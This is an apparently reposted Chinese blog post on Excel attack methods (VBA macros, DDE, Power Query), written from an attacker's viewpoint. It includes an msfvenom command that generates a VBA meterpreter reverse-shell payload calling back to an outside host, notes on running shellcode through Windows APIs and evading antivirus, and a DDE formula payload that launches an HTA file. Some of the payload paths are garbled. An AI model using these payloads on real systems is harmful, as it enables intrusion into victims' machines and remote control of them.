zoukankan      html  css  js  c++  java
  • 关于Excel的攻击探讨

    近些年来APT趋势增长,有更多的恶意样本流传于世,这篇文章便初步探讨下Excel的一些攻击。站在攻击者的视角查看一些利用手法,知己知彼方能百战不殆。

    随着趋势的发展,office文件一套成为了办公的需要,但同时软件的安全,也成为了企业部门保护信息重症之地。许多组织机构对企业发起APT攻击,其中最为常见的手法有鱼叉钓鱼、水坑攻击等。

    在市面上流传的Excel样本,大都数都是如下攻击手法:

    • office宏攻击

    • DDE攻击

    • Power Query DDE (DDE的一种)

    office宏攻击(Macros)

    所谓宏,就是一些命令组织在一起,作为一个单独命令完成一个特定任务。Microsoft Word中对宏定义为:“宏就是能组织到一起作为一独立的命令使用的一系列word命令,它能使日常工作变得更容易”。Word使用宏语言Visual Basic将宏作为一系列指令来编写。

    可以通过Kali的msfvenom生成vba恶意代码:

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=4444 -f vba -o shellcode.vba

     创建一个xls文件,并开启开发者模式

     找到宏

     创建一个宏

     shellcode利用相关API函数进行线程创建、内存申请、内存拷贝以及最后执行shellcode

    • CreateThread 创建线程
    • VirtualAlloc 申请虚拟内存空间
    • RtlMoveMemory 拷贝内存

    大都数组织都在此处将shellcode通过运行自解密、花指令等混淆的方式来规避AV(反杀毒软件)

    DDE攻击

    动态数据交换(DDE),是在Windows操作系统中实现的客户端/服务端通信的方法。

    当我们打开文件时,Excel会对文件的每一行分别进行检查。在对各行的内容进行分隔并复制到适当的单元格之前,Excel会检查该行是否以其命令字符开头,即用于内部函数的字符:“=”、“+”、“ - ”和“@”。根据命令前缀的不同,可能会发生以下两种情况之一:

    1.如果前缀是“=”、“+”或“ - ”,则将其余部分视为表达式

    2.如果前缀为“@”,Excel将搜索内部函数(例如SUM())并将参数解释为表达式

    实际上,命令本身也是一种表达式。

     执行外部命令

     最终弹出calc

     同时可以利用字符串拼接的特性构造payload

    =MSEXCEL|'......WindowsSystem32
    undll32.exe url.dll,FileProtocolHandler  c:	emppayload.hta'!_xlbgnm.A1

    Power Query

    惭愧,Power Query的方式一直没有复现成功,不知为何一直访问失败。这里附上网上的Power Query技术分析:https://xz.aliyun.com/t/5514

    感兴趣的朋友可以去看看

  • 相关阅读:
    Java 8 Lambda 表达式
    OSGi 系列(十二)之 Http Service
    OSGi 系列(十三)之 Configuration Admin Service
    OSGi 系列(十四)之 Event Admin Service
    OSGi 系列(十六)之 JDBC Service
    OSGi 系列(十)之 Blueprint
    OSGi 系列(七)之服务的监听、跟踪、声明等
    OSGi 系列(六)之服务的使用
    OSGi 系列(三)之 bundle 事件监听
    OSGi 系列(三)之 bundle 详解
  • 原文地址:https://www.cnblogs.com/wh4am1/p/12384606.html
Copyright © 2011-2022 走看看